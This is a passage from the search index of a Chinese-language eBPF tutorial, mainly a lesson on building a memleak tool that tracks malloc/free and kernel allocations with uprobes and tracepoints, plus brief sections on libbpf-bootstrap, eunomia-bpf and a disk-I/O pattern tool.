libbpf-bootstrap综合了BPF社区过去多年的实践，为开发者提了一个现代化的、便捷的工作流，实 现了一次编译，重复使用的目的。 基于libbpf-bootstrap的BPF程序对于源文件有一定的命名规则， 用于生成内核态字节码的bpf文件以.bpf.c结尾，用户态加载字节码的文件以.c结尾，且这两个文件的 前缀必须相同。 基于libbpf-bootstrap的BPF程序在编译时会先将*.bpf.c文件编译为 对应的.o文件，然后根据此文件生成skeleton文件，即*.skel.h，这个文件会包含内核态中定义的一些 数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak 参考： https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.c","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ make\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 []  1 []  2 []  3 []  4 []  5 []  6 [] \n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一种新技术，允许用户在内核空间中执行自定义程序，而无需更改内核代码。这为系统管理员和开发者提供了强大的工具，可以深入了解和监控系统的行为，从而进行优化。 在本篇教程中，我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一，特别是在数据密集型应用中。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O"},"112":{"body":"随着技术的进步和数据量的爆炸性增长，磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此，深入了解和优化磁盘 I/O，特别是随机和顺序的 I/O，变得尤为重要。 随机 I/O ：随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动，导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 顺序 I/O ：与随机 I/O 相反，顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动，从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 为了实现存储性能的最优化，了解随机和顺序的磁盘 I/O 是至关重要的。例如，随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘，因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反，对于大量顺序 I/O 的应用，如何最大化磁盘的连续读写速度则更为关键。 在本教程的后续部分，我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为，还可以为进一步的性能优化提供有力的数据支持。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 随机/顺序磁盘 I/O","id":"112","title":"随机/顺序磁盘 I/O"},"113":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 首先，确保你已经正确安装了 libbpf 和相关的工具集，可以在这里找到对应的源代码： bpf-developer-tutorial 导航到 biopattern 的源代码目录，并使用 make 命令进行编译： cd ~/bpf-developer-tutorial/src/17-biopattern\nmake 编译成功后，你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下： sudo ./biopattern [interval] [count] 